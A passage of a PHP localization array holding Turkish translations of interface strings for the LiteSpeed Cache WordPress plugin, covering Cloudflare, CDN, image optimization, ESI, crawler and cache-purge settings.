Önbelleği','Failed'=>'Başarısız oldu','Passed'=>'Geçmiş','Not Available'=>'Müsait değil','Purge all the object caches'=>'Tüm nesne önbelleklerini temizle','Failed to communicate with Cloudflare'=>'Cloudflare ile iletişim kurulamadı','Communicated with Cloudflare successfully.'=>'Cloudflare ile başarılı bir şekilde bağlantı kuruldu.','No available Cloudflare zone'=>'Kullanılabilir Cloudflare alanı yok','Notified Cloudflare to purge all successfully.'=>'Tüm Cloudflare önbelleği başarıyla temizlendi.','Cloudflare API is set to off.'=>'Cloudflare API kapalı olarak ayarlandı.','Notified Cloudflare to set development mode to %s successfully.'=>'Cloudflare geliştirici modu %s olarak başarıyla ayarlandı.','Once saved, it will be matched with the current list and completed automatically.'=>'Kaydedildikten sonra, geçerli liste ile eşleşecek ve otomatik olarak tamamlanacaktır.','You can just type part of the domain.'=>'Sadece etki alanının bir kısmını yazabilirsiniz.','Domain'=>'Alan Adı','Cloudflare API'=>'Cloudflare API','Purge Everything'=>'Her Şeyi Temizle','Cloudflare Cache'=>'Cloudflare Önbelleği','Development Mode will be turned off automatically after three hours.'=>'Geliştirici modu üç saat sonra otomatik olarak kapatılacaktır.','Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.'=>'Cloudflare önbelleğini geçici olarak atlayın. Bu, kaynak sunucusuna yapılan değişikliklerin gerçek zamanlı olarak görülmesini sağlar.','Development mode will be automatically turned off in %s.'=>'Geliştirici modu %s saniye sonra otomatik olarak kapatılacaktır.','Current status is %s.'=>'Geçerli durum %s.','Current status is %1$s since %2$s.'=>'%2$s tarihinden itibaren geçerli durum %1$s.','Check Status'=>'Durumu kontrol et','Turn OFF'=>'KAPAT','Turn ON'=>'AÇ','Development Mode'=>'Geliştirme Modu','Cloudflare Zone'=>'Cloudflare Zone','Cloudflare Domain'=>'Cloudflare Etki Alanı','Cloudflare'=>'Cloudflare','For example'=>'Örneğin','Prefetching DNS can reduce latency for visitors.'=>'Prefetching DNS, ziyaretçileriniz için gecikmeyi azaltabilir.','DNS Prefetch'=>'DNS Prefetch','Adding Style to Your Lazy-Loaded Images'=>'Lazy-Load Görsellerine Stil Ekleme','Default value'=>'Varsayılan değer','Static file type links to be replaced by CDN links.'=>'Statik dosya türlerinin linkleri CDN linkleri ile değiştirilecektir.','Drop Query String'=>'Sorgu Dizesini Hariç Bırak','Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.'=>'Aynı alan adında hem HTTP hem de HTTPS kullanıyorsanız ve önbellek düzensizliklerini fark ediyorsanız bu seçeneği etkinleştirin.','Improve HTTP/HTTPS Compatibility'=>'HTTP/HTTPS Uyumluluğunu Geliştirin','Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.'=>'Daha önce istenen resim optimizasyon isteklerini/sonuçlarını kaldırın, tamamlanmış optimizasyonları geri alın ve tüm optimize edilmiş dosyaları silin.','Destroy All Optimization Data'=>'Tüm optimizasyon verilerini yok et','Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.'=>'Görsel optimizasyon işlemi yapılmamış tüm küçük resim görsellerini tarayın ve gerekli görsel optimizasyon isteklerini tekrar gönderin.','This will increase the size of optimized files.'=>'Bu optimize edilmiş dosyaların boyutunu artıracaktır.','Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.'=>'Optimizasyon işlemi yapılırken EXIF verilerini (telif hakkı, GPS bilgisi, yorumlar,anahtar kelimeler vb.) koruyun.','Clear Logs'=>'Kayıtları Temizle','To test the cart, visit the <a %s>FAQ</a>.'=>'Sepeti test etmek için <a %s>FAQ</a> adresini ziyaret edin.',' %s ago'=>' %s önce','WebP saved %s'=>'WebP %s veri tasarrufu sağladı','If you run into any issues, please refer to the report number in your support message.'=>'Herhangi bir sorunla karşılaşırsanız, lütfen destek mesajınızdaki rapor numarasına bakınız.','Last pull initiated by cron at %s.'=>'En son istek %s konumundaki cron tarafından başlatıldı.','Images will be pulled automatically if the cron job is running.'=>'Görev aracı çalışıyor ise resimler otomatik olarak çekilecektir.','Only press the button if the pull cron job is disabled.'=>'Sadece cron görevi devredışı bırakıldığında bu düğmeye basın.','Pull Images'=>'Görüntüleri Çek','This process is automatic.'=>'Bu işlem otomatiktir.','Last Request'=>'Son İstek','Images Pulled'=>'Görseller çekildi','Report'=>'Rapor','Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.'=>'Bu raporu LiteSpeed\'e gönder. WordPress destek forumuna yazarken bu rapor numarasını referans verin.','Send to LiteSpeed'=>'LiteSpeed\'e Gönder','LiteSpeed Optimization'=>'LiteSpeed ​​Optimizasyonu','Load Google Fonts Asynchronously'=>'Google Yazı Tiplerini Asenkron Olarak Yükle','Browser Cache TTL'=>'Tarayıcı Önbellek TTL','Learn More'=>'Daha fazla bilgi edin','Image groups total'=>'Görsel grupları toplamı','Images optimized and pulled'=>'Resimler iyileştirildi ve kaydedildi','Images requested'=>'İstenen resimler','Switched to optimized file successfully.'=>'Optimize edilmiş dosya başarıyla aktarıldı.','Restored original file successfully.'=>'Orijinal dosya başarıyla onarıldı.','Enabled WebP file successfully.'=>'WebP dosyası başarıyla aktif edildi.','Disabled WebP file successfully.'=>'WebP dosyası başarılı bir şekilde devredışı bırakıldı.','Significantly improve load time by replacing images with their optimized %s versions.'=>'Optimize edilmiş resimleri %s sürümleriyle değiştirerek resimlerin yüklenme sürelerini önemli ölçüde azaltın.','Selected roles will be excluded from cache.'=>'Seçilen roller önbelleklemeden hariç tutulacak.','Tuning'=>'Ayarlama','Selected roles will be excluded from all optimizations.'=>'Seçilen gruplar tüm optimizasyonlardan hariç tutulur.','Role Excludes'=>'Hariç Tutulacak Gruplar','Tuning Settings'=>'Tuning Ayarları','If the tag slug is not found, the tag will be removed from the list on save.'=>'Etiket kısa ismi bulunamazsa, etiket kaydedilirken listeden çıkartılacaktır.','If the category name is not found, the category will be removed from the list on save.'=>'Kategori adı bulunamazsa, kategori kaydedilirken listeden çıkartılacaktır.','After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.'=>'QUIC.cloud görsel optimizasyon sunucusu optimizasyonu tamamladıktan sonra optimize edilmiş görselleri çekmesi için sitenizi bilgilendirecektir.','Send Optimization Request'=>'Optimizasyon İsteği Gönder','Image Information'=>'Resim Bilgisi','Total Reduction'=>'Toplam Azaltma','Optimization Summary'=>'Optimizasyon Özeti','LiteSpeed Cache Image Optimization'=>'LiteSpeed Cache Görsel Optimizasyonu','Image Optimization'=>'Görsel Optimizasyonu','For example, %s can be used for a transparent placeholder.'=>'Örneğin, %s saydam bir yer tutucu için kullanılabilir.','By default a gray image placeholder %s will be used.'=>'Varsayılan olarak %s gri renkli bir yer tutucu kullanılacaktır.','This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.'=>'Bu seçenek, bu ayar öncelikli olmak üzere %2$s içerisinde veya %1$s sabiti ile önceden tanımlanmış olabilir.','Specify a base64 image to be used as a simple placeholder while images finish loading.'=>'Görsellerin yüklenmesi tamamlanana kadar basit bir yer tutucu olarak kullanılmak üzere bir base64 görsel belirtin.','Elements with attribute %s in html code will be excluded.'=>'Html kodu içerisinde %s öz niteliğine sahip elemanlar hariç tutulacaktır.','Filter %s is supported.'=>'%s filtresi destekleniyor.','Listed images will not be lazy loaded.'=>'Listedeki görsellerde \'lazy load\' kullanılmayacaktır.','Lazy Load Image Excludes'=>'Geç yüklemeden hariç tutulan görseller','No optimization'=>'Optimizasyon yok','Prevent any optimization of listed pages.'=>'Listelenen sayfaların optimizasyonunu önleyin.','URI Excludes'=>'Hariç Bırakılacak Bağlantılar','Stop loading WordPress.org emoji. Browser default emoji will be displayed instead.'=>'WordPress.org emojilerini yüklemeyi durdur. Bunun yerine tarayıcının varsayılan emojileri kullanılır.','Both full URLs and partial strings can be used.'=>'Hem tam bağlantılar ve hem de kısmi metinler kullanılabilir.','Load iframes only when they enter the viewport.'=>'İç çerçeveleri yalnızca belirtilen görüntü alanına girdiklerinde yükleyin.','Lazy Load Iframes'=>'İç Çerçeveleri Geç Yükle','This can improve page loading time by reducing initial HTTP requests.'=>'Bu seçenek gelen ilk HTTP isteklerini azaltarak sayfa yüklenme süresini iyileştirebilir.','Load images only when they enter the viewport.'=>'Görselleri sadece görüntü alanına girdiklerinde yükleyin.','Lazy Load Images'=>'Görselleri Geç Yükle','Media Settings'=>'Ortam Ayarları','Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.'=>'%1$s jokeri desteklenir ( sıfır ya da daha fazla karakteri eşleştirir) Örneğin, %2$s ve %3$s \'i eşleştirmek için, %4$s kullanabilirsiniz.','To match the beginning, add %s to the beginning of the item.'=>'Başlangıcı eşleştirmek için, öğenin başına %s ekleyin.','Maybe later'=>'Belki sonra','I\'ve already left a review'=>'Ben zaten bir inceleme yaptım','Welcome to LiteSpeed'=>'LiteSpeed\'e hoş geldiniz','Remove WordPress Emoji'=>'Wordpress Emoji Kaldır','More settings'=>'Daha fazla ayar','Private cache'=>'Özel önbellekleme','Non cacheable'=>'Önbelleksiz','Mark this page as '=>'Bu sayfayı şununla işaretle ','Purge this page'=>'Bu sayfayı temizle','Load JS Deferred'=>'JS\'i Gecikmeli Yükle','Specify critical CSS rules for above-the-fold content when enabling %s.'=>'%s seçeneğini etkinleştirirken ekranın üst kısmındaki içerik için kritik CSS kurallarını belirtin.','Critical CSS Rules'=>'Kritik CSS Kuralları','Load CSS Asynchronously'=>'CSS\'i Eşzamansız Yükle','Prevent Google Fonts from loading on all pages.'=>'Google Fonts kullanımını tüm sayfalarda engelle.','Remove Google Fonts'=>'Google Fontlarını Kaldır','This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.'=>'Bu, Pingdom, GTmetrix ve PageSpeed gibi servislerde hız puanınızı artırabilir.','Remove query strings from internal static resources.'=>'Dahili ve statik kaynaklarda query string\'leri kaldır.','Remove Query Strings'=>'Sorgu Metinlerini Kaldır','user agents'=>'tarayıcı kimlikleri','cookies'=>'çerezler','Browser caching stores static files locally in the user\'s browser. Turn on this setting to reduce repeated requests for static files.'=>'Tarayıcı önbelleği, statik dosyalarınızı kullanıcının tarayıcısında yerel olarak depolar.Statik dosyalar için tekrarlanan istekleri azaltmak için bu ayarı aktif hale getirin.','Browser Cache'=>'Tarayıcı önbelleği','tags'=>'etiketler','Do Not Cache Tags'=>'Etiketleri önbelleğe alma','To exclude %1$s, insert %2$s.'=>'%1$s hariç tutmak için, %2$s ekleyin.','categories'=>'kategoriler','To prevent %s from being cached, enter them here.'=>'%s in önbelleğe alınmasını engellemek için buraya girin.','Do Not Cache Categories'=>'Kategorileri Önbelleğe Alma','Query strings containing these parameters will not be cached.'=>'Bu parametreleri içeren query string\'ler önbelleğe alınmayacaktır.','Do Not Cache Query Strings'=>'Query String\'leri önbelleğe alma','Paths containing these strings will not be cached.'=>'Bu metinleri içeren yollar önbelleğe alınmayacaktır.','Do Not Cache URIs'=>'URI\'leri önbelleğe alma','One per line.'=>'Her satırda bir tane.','URI Paths containing these strings will NOT be cached as public.'=>'Bu metinleri içeren URI yolları önbelleğe genele açık olarak ALINMAYACAKTIR.','Private Cached URIs'=>'Özel Önbelleğe Alınmış Bağlantılar','Paths containing these strings will not be served from the CDN.'=>'Bu metinleri içeren yollar CDN servisi üzerinden sunulmayacaktır.','Exclude Path'=>'Hariç Tutulacak Yollar','Include File Types'=>'Dosya Türlerini Dahil Et','Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.'=>'Tüm JavaScript dosyalarını CDN üzerinden sunun. Bu tüm WP JavaScript dosyalarını etkileyecektir.','Include JS'=>'JS\'yi Dahil Et','Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.'=>'Tüm CSS dosyalarını CDN üzerinden sunun. Bu tüm WP CSS dosyalarını etkileyecektir.','Include CSS'=>'CSS\'i Dahil Et','Include Images'=>'Görselleri Dahil Et','CDN URL to be used. For example, %s'=>'Kullanılacak CDN bağlantısı. Örneğin, %s','CDN URL'=>'CDN Bağlantısı','Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.'=>'CDN üzerinden sunulacak olan site bağlantısı. Bu bağlantı %1$s ile başlamalıdır. Örneğin, %2$s.','Original URLs'=>'Orijinal URL\'ler','CDN Settings'=>'CDN Ayarları','CDN'=>'CDN','OFF'=>'KAPALI','ON'=>'AÇIK','Notified LiteSpeed Web Server to purge CSS/JS entries.'=>'LiteSpeed Web sunucusu CSS/JS girdilerin silmesi için bilgilendirildi.','Minify HTML content.'=>'HTML içeriğini küçült.','HTML Minify'=>'HTML küçült','JS Excludes'=>'Hariç tutulan JS','JS Combine'=>'JS\'yi birleştir','JS Minify'=>'JS\'yi küçült','CSS Excludes'=>'Hariç Tutulacak CSS','CSS Combine'=>'CSS\'i birleştir','CSS Minify'=>'CSS\'i küçült','Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.'=>'Lütfen, bu listedeki herhangi bir seçeneği etkinleştirirken iyice test edin. Küçültme/Birleştirme ayarlarını değiştirdikten sonra Tümünü Temizle eylemini yapmayı unutmayın.','This will purge all minified/combined CSS/JS entries only'=>'Bu sadece küçültülmüş/birleştirilmiş tüm CSS/JS kayıtlarını temizler','Purge %s Error'=>'%s hatalarını temizle','Database Optimizer'=>'Veritabanı İyileştiricisi','Optimize all tables in your database'=>'Veritabanınızdaki tüm tabloları optimize edin','Optimize Tables'=>'Tabloları İyileştir','Clean all transient options'=>'Tüm geçici ayarları temizle','All Transients'=>'Tüm Geçiciler','Clean expired transient options'=>'Süresi dolmuş tüm geçici ayarları temizle','Expired Transients'=>'Süresi Dolmuş Geçiciler','Clean all trackbacks and pingbacks'=>'Tüm geri izleme ve pingbackleri temizle','Trackbacks/Pingbacks'=>'Geri İzleme/Pingbacks','Clean all trashed comments'=>'Tüm çöpe taşınmış yorumları temizle','Trashed Comments'=>'Çöp Yorumlar','Clean all spam comments'=>'Tüm spam yorumları temizle','Spam Comments'=>'Spam Yorumlar','Clean all trashed posts and pages'=>'Tüm çöpe taşınmış yazı ve sayfaları temizle','Trashed Posts'=>'Çöp Yazılar','Clean all auto saved drafts'=>'Tüm otomatik kayıt taslaklarını temizle','Auto Drafts'=>'Otomatik Taslak','Clean all post revisions'=>'Tüm yazı revizyonlarını temizle','Post Revisions'=>'Yazı Revizyonları','Clean All'=>'Tümünü temizle','Optimized all tables.'=>'Tüm tablolar iyileştirildi.','Clean all transients successfully.'=>'Tüm geçiciler başarıyla temizlendi.','Clean expired transients successfully.'=>'Tüm süresi dolmuş geçiciler başarıyla temizlendi.','Clean trackbacks and pingbacks successfully.'=>'Geri izlemeler ve pingback\'ler başarıyla temizlendi.','Clean trashed comments successfully.'=>'Çöpe gönderilmiş yorumlar başarıyla temizlendi.','Clean spam comments successfully.'=>'Spam yorumlar başarıyla temizlendi.','Clean trashed posts and pages successfully.'=>'Çöpe gönderişmiş yazılar ve sayfalar başarıyla temizlendi.','Clean auto drafts successfully.'=>'Otomatik taslaklar başarıyla temizlendi.','Clean post revisions successfully.'=>'Yazı sürümleri başarıyla temizlendi.','Clean all successfully.'=>'Tümü başarıyla temizlendi.','Default Private Cache TTL'=>'Varsayılan Özel Önbellek TTL','If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.'=>'Sitenizde belirli kullanıcı yetkileri kullanıyorsanız ve sitenizde bazı yerlerin diğer kullanıcı yetkililerine sahip olanların görmesini istemiyorsanız özel Değişken Grubu belirleyebilirsiniz. Örneğin bir yönetici değişken grubunun belirtilmesi sonucunda diğer kullanıcı yetkilerinde olanlar varsayılan ortak bir sayfayı görüntülerken, yönetici değişken grubunda bulunan kullanıcılar özel olarak önbelleğe alınmış sayfayı görüntülemesini sağlayabilirsiniz. (Örnek, "yazıyı düzenle" bağlantıları gibi)','Vary Group'=>'Değişken Grubu','Cache the built-in Comment Form ESI block.'=>'Yerleşik yorum formu ESI bloğunu önbelleğe al.','Cache Comment Form'=>'Yorum formunu önbelleğe al','Cache Admin Bar'=>'Admin araç çubuğunu önbelleğe al','Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.'=>'Giriş yapmış kullanıcılar için genele açık önbelleğe almayı AÇ, Admin araç çubuğu ve yorum formunu ESI bloğu olarak sun. Bu iki blog aşağıda etkinleştirilmediği sürece önbelleğe alınmaz.','ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.'=>'ESI dinamik sayfanızın bazı bölümlerini, daha sonra bütün sayfayı oluşturmak için bir araya getirilen ayrı parçalar olarak oluşturmanızı sağlar. Bir başka deyişle ESI sayfada boşluklar oluşturmanızı, daha sonra bu boşlukları önbelleğe kişiye özel olarak alınan içeriklerle doldurabilmenizi, kendi TTL\'i ile genele açık olarak önbelleğe alabilmenizi veya hiç önbelleğe almamanızı sağlar.','With ESI (Edge Side Includes), pages may be served from cache for logged-in users.'=>'Sayfalar, giriş yapmış kullanıcılara ESI (Edge Side Includes) ile önbellekten sunulabilir.','Private'=>'Özel','Public'=>'Herkese açık','Purge Settings'=>'Ayarları temizle','Cache Mobile'=>'Mobili önbelleği','Advanced level will log more details.'=>'Gelişmiş seviye daha fazla ayrıntı kaydeder.','Basic'=>'Temel','The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.'=>'Tarama sırasında izin verilen azami sunucu yükü. Sunucu yükü bu limitin altına inene kadar tarayıcı thread sayısı aktif şekilde azaltılacaktır. Bunu tek thread\'le sağlamak da mümkün olmazsa tarama sonlandırılacaktır.','Cache Login Page'=>'Giriş sayfası önbelleği','Cache requests made by WordPress REST API calls.'=>'Wordpress REST API tarafından yapılan önbellek istekleri.','Cache REST API'=>'REST API\'yi önbelleği','Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)'=>'Bekleyen yorumu olan ziyaretçileri özel olarak önbelleğe al. Bu seçeneği devre dışı bırakmak yorum yapanlara önbelleğe alınmayan sayfalar sunar. (LSWS %s gereklidir)','Cache Commenters'=>'Yorumcu önbelleği','Privately cache frontend pages for logged-in users. (LSWS %s required)'=>'Giriş yapmış kullanıcılar için ön yüz sayfalarını kişiye özel şekilde önbelleğe al. (LSWS %s gereklidir)','Cache Logged-in Users'=>'Giriş Yapmış Kullanıcıları Önbellekle','Cache Control Settings'=>'Önbellek Kontrol Ayarları','ESI'=>'ESI','Excludes'=>'Hariç Tutulacak','Purge'=>'Temizle','Cache'=>'Önbellek','Current server time is %s.'=>'Sunucu zamanı %s.','Specify the time to purge the "%s" list.'=>'"%s" listesini temizlemek için bir zaman belirleyin.','Both %1$s and %2$s are acceptable.'=>'%1$s veya %2$s \'den herhangi biri kabul edilebilir.','Scheduled Purge Time'=>'Zamanlanmış Temizleme Saati','The URLs here (one per line) will be purged automatically at the time set in the option "%s".'=>'Buradaki URL\'ler (her satırda bir adet) "%s" seçeneğinde belirtilen zamanda otomatik olarak temizlenirler.','Scheduled Purge URLs'=>'Temizlenmek için zamanlanmış URL\'ler','Shorten query strings in the debug log to improve readability.'=>'Okunabilirliği arttırmak için hata ayıklama günlüğündeki query string\'leri kısalt.','Heartbeat'=>'Heartbeat','MB'=>'MB','Log File Size Limit'=>'Log Dosyası Boyutu Sınırı','<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s'=>'<p>Lütfen aşağıdaki kodları %1$s \'in başlangıcına ekleyin/değiştirin:</p> %2$s','%s file not writable.'=>'%s dosyası yazılabilir değil.','%s file not readable.'=>'%s dosyası okunamıyor.','Collapse Query Strings'=>'Query String\'leri daralt','ESI Settings'=>'ESI Ayarları','A TTL of 0 indicates do not cache.'=>'0 Değerindeki TTL e önbellek lememeyi belirtir.','Recommended value: 28800 seconds (8 hours).'=>'Tavsiye edilen değer: 28800 saniye (8 saat).','Enable ESI'=>'ESI\'yi Etkinleştir','Custom Sitemap'=>'Özel site haritası','Purge pages by relative or full URL.'=>'Sayfaları bağıl veya tam URL ile temizle.','The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.'=>'Tarama işlevi LiteSpeed sunucusunda etkinleştirilmemiş. Lütfen sunucu yöneticiniz veya yer sağlayıcınıza başvurun.','WARNING'=>'UYARI','The next complete sitemap crawl will start at'=>'Bir sonraki tam site haritası taraması şu zamanda başlayacak','Failed to write to %s.'=>'%s \'e yazma başarısız oldu.','Folder is not writable: %s.'=>'Klasör yazılabilir değil: %s.','Can not create folder: %1$s. Error: %2$s'=>'%1$s klasörü oluşturulamadı. Hata: %2$s','Folder does not exist: %s'=>'Klasör yok: %s','Notified LiteSpeed Web Server to purge the list.'=>'LiteSpeed Web sunucusu listeyi temizlemesi için bilgilendirildi.','Allows listed IPs (one per line) to perform certain actions from their browsers.'=>'Listedeki IP\'lerin (her satırda bir adet) tarayıcıları ile belirli işlemleri yapmalarına izin verin.','Server Load Limit'=>'Sunucu yük limiti','Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.'=>'Tarayıcının tüm site haritasını tekrar taraması için geçmesi gereken süreyi saniye cinsinden belirtin.','Crawl Interval'=>'Tarama aralığı','Then another WordPress is installed (NOT MULTISITE) at %s'=>'Sornasında %s konusmunda bir başka WordPress kurulumu yapılmış. (çoklu site değil)','LiteSpeed Cache Network Cache Settings'=>'LiteSpeed Cache ağ önbellek ayarları','Select below for "Purge by" options.'=>'"Şunları temizle" seçeneklerini belirtin. Her satıra bir adet.','LiteSpeed Cache CDN'=>'LiteSpeed Cache CDN','No crawler meta file generated yet'=>'Tarayıcı meta dosyası oluşturulmayacak','Show crawler status'=>'Tarama durumunu göster','Watch Crawler Status'=>'Tarayıcı durumunu izle','Run frequency is set by the Interval Between Runs setting.'=>'Çalışma sıklığı çalışmalar arasında geçen süre ayarı ile belirlenir.','Manually run'=>'Elle çalıştır','Reset position'=>'Konumu sıfırla','Run Frequency'=>'Çalışma sıklığı','Cron Name'=>'Cron Adı','Crawler Cron'=>'Tarayıcı Cron İşleri','%d minute'=>'%d dakika','%d minutes'=>'%d dakika','%d hour'=>'%d saat','%d hours'=>'%d saat','Generated at %s'=>'%s de oluşturuldu','LiteSpeed Cache Crawler'=>'LiteSpeed Cache Tarayıcısı','Crawler'=>'Tarayıcı','https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration'=>'https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration','Notified LiteSpeed Web Server to purge all pages.'=>'LiteSpeed Web sunucusu tüm sayfaları temizlemesi için bilgilendirildi.','All pages with Recent Posts Widget'=>'Son yazılar bileşenini içeren tüm sayfalar','Pages'=>'Sayfalar','This will Purge Pages only'=>'Bu sadece sayfaları temizler','Purge Pages'=>'Sayfaları Temizle','Cancel'=>'Vazgeç','Activate'=>'Etkinleştir','Email Address'=>'E-Posta Adresi','Install Now'=>'Şimdi Kur','Purged the blog!'=>'Blog önbelleği temizlendi!','Purged All!'=>'Tüm bellek temizlendi!','Notified LiteSpeed Web Server to purge error pages.'=>'LiteSpeed Web Sunucusu hata sayfalarını temizlemesi için bilgilendirildi.','If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.'=>'OpenLiteSpeed kullanılıyorsa, değişikliklerin etkili olması için sunucunun yeniden başlatılması gerekir.','If the login cookie was recently changed in the settings, please log out and back in.'=>'Oturum açma çerezi yakın zamanda değiştirildiyse lütfen oturumunu kapatıp tekrar açın.','However, there is no way of knowing all the possible customizations that were implemented.'=>'Öte yandan gerçekleştirilen olası tüm özelleştirmeleri bilmenin bir yolu yoktur.','The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.'=>'LiteSpeed Cache eklentisi sayfaları önbellekten sunarak sitenin performansını basitçe iyileştirir.','The network admin setting can be overridden here.'=>'Ağ yöneticisi ayarı burada geçersiz kılınabilir.','Specify how long, in seconds, public pages are cached.'=>'Genele açık sayfaların önbellekte ne kadar süreyle tutulacağını saniye cinsinden belirtin.','Specify how long, in seconds, private pages are cached.'=>'Özel sayfaların önbellekte ne kadar süreyle tutulacağını saniye cinsinden belirtin.','Purge pages by post ID.'=>'Post ID sine göre sayfaları temizleyin.','Purge the LiteSpeed cache entries created by this plugin'=>'Bu eklenti tarafından oluşturulan LiteSpeed önbellek kayıtlarını temizle','Purge %s error pages'=>'%s hata sayfalarını temizle','This will Purge Front Page only'=>'Bu sadece Ana Sayfa Önbellek kayıtlarını temizler','Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.'=>'Sayfaları etiket adına göre temizle - ör. %1$s URL\'si için %2$s kullanılmalıdır.','Purge pages by category name - e.g. %2$s should be used for the URL %1$s.'=>'Sayfaları kategori adına göre temizle - ör. %1$s URL\'si için %2$s kullanılmalıdır.','If only the WordPress site should be purged, use Purge All.'=>'Eğer sadece WordPress site ön belleği temizlenecekse Tümünü Temizle\'yi kullanın.','Notified LiteSpeed Web Server to purge everything.'=>'LiteSpeed Web sunucusu her şeyi temizlemesi için bilgilendirildi.','Use Primary Site Configuration'=>'Birincil site yapılandırmasını kullan','This will disable the settings page on all subsites.'=>'Bu tüm alt sitelerdeki ayar sayfalarını devre dışı bırakacaktır.','Check this option to use the primary site\'s configuration for all subsites.'=>'Büm alt sitelerde birincil sitenin yapılandırmasını kullanmak için bu seçeneği işaretleyin.','Save Changes'=>'Değişikliği kaydet','The following options are selected, but are not editable in this settings page.'=>'Şu seçenekler seçili fakat ayarlar sayfasında düzenlenebilir değil.','The network admin selected use primary site configs for all subsites.'=>'Ağ yöneticisi tüm alt sitelerde birincil site yapılandırmasının kullanılmasını tercih etmiştir.','Empty Entire Cache'=>'Tüm Önbelleği Kaldır','This action should only be used if things are cached incorrectly.'=>'Bu işlem sadece yanlış önbellekleme yapıldı ise kullanılmalıdır.','This may cause heavy load on the server.'=>'Bu sunucunuzda ağır yüke sebebiyet verebilir.','This will clear EVERYTHING inside the cache.'=>'Bu önbellek içindeki HERŞEYİ temizler.','LiteSpeed Cache Purge All'=>'Litespeed Cache Tüm Önbellek Kayıtlarını Temizle','If you would rather not move at litespeed, you can deactivate this plugin.'=>'Litespeed\' dışında bir sunucuya geçiş yaparsanız, bu eklentiyi devre dışı bırakabilirsiniz.','Create a post, make sure the front page is accurate.'=>'Bir yazı oluşturun, ana sayfanın doğru göründüğünden emin olun.','Visit the site while logged out.'=>'Siteyi oturum kapalıyken ziyaret edin.','Examples of test cases include:'=>'Örnek test senaryoları:','For that reason, please test the site to make sure everything still functions properly.'=>'Bu nedenle, her şeyin düzgün çalıştığından emin olmak için siteyi test edin.','This message indicates that the plugin was installed by the server admin.'=>'Bu mesaj eklentinin sunucu yöneticisi tarafından kurulduğunu gösterir.','LiteSpeed Cache plugin is installed!'=>'LiteSpeed Cache Eklentisi kuruldu!','Debug Log'=>'Hata Ayıklama Günlüğü','Admin IP Only'=>'Yalnızca Yönetici IP\'si','Specify how long, in seconds, REST calls are cached.'=>'Rest çağrılarının ne kadar süreyle önbellekte tutulacağını saniye cinsinden belirtin.','The environment report contains detailed information about the WordPress configuration.'=>'Ortam raporu WordPress yapılandırması ile ilgili detaylı bilgiler içerir.','The server will determine if the user is logged in based on the existence of this cookie.'=>'Sunucu, bu çerezin varlığına bağlı olarak kullanıcının oturum açıp açmadığını belirleyecektir.','Note'=>'Not','After verifying that the cache works in general, please test the cart.'=>'Önbelleğin genel olarak çalıştığını doğruladıktan sonra, lütfen sepeti test edin.','When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.'=>'Açık konumdayken herhangi bir eklenti, tema veya WordPress çekirdeği yükseltildiğinde önbellek otomatik olarak temizlenir.','Purge All On Upgrade'=>'Güncellemede tümünü temizle','Product Update Interval'=>'Ürün Güncelleme Aralığı','Determines how changes in product quantity and product stock status affect product pages and their associated category pages.'=>'Ürün miktarı ve ürün stok durumundaki değişikliklerin ürün sayfalarını ve bunlarla ilişkili kategori sayfalarını nasıl etkileyeceğini belirler.','Always purge both product and categories on changes to the quantity or stock status.'=>'Miktar veya stok durumundaki değişikliklerde daima ürün ve kategorileri önbellekten temizle.','Do not purge categories on changes to the quantity or stock status.'=>'Miktar veya stok durumundaki değişikliklere göre kategorileri temizleme.','Purge product only when the stock status changes.'=>'Stok durumu değiştiğinde sadece ürün ile ilgili ön belleği temizle.','Purge product and categories only when the stock status changes.'=>'Ürünü ve kategorileri sadece stok durumu değiştiğinde temizle.','Purge categories only when stock status changes.'=>'Stok durumu değiştiğinde sadece kategori ile ilgili ön belleği temizle.','Purge product on changes to the quantity or stock status.'=>'Stok durumu veya miktarı değiştiğinde sadece ürün ile ilgili ön belleği temizle.','Htaccess did not match configuration option.'=>'Htaccess yapılandırma seçeneğiyle eşleşmedi.','If this is set to a number less than 30, feeds will not be cached.'=>'Bu, 30’dan küçük bir sayıya ayarlanırsa, akışlar önbelleğe alınmaz.','Specify how long, in seconds, feeds are cached.'=>'Akışlarının önbelleğe alınma süresini saniye cinsinden belirtin.','Default Feed TTL'=>'Varsayılan akış TTL\'i','Failed to get %s file contents.'=>'%s dosyası içeriği okunamadı.','Disabling this option may negatively affect performance.'=>'Bu seçeneği kaldırmak performansı olumsuz etkileyebilir.','Invalid login cookie. Invalid characters found.'=>'Geçersiz giriş çerezi. Geçersiz karakterler bulundu.','WARNING: The .htaccess login cookie and Database login cookie do not match.'=>'UYARI: .htaccess oturum açma çerezi ve veritabanı oturum açma çerezi eşleşmiyor.','Invalid login cookie. Please check the %s 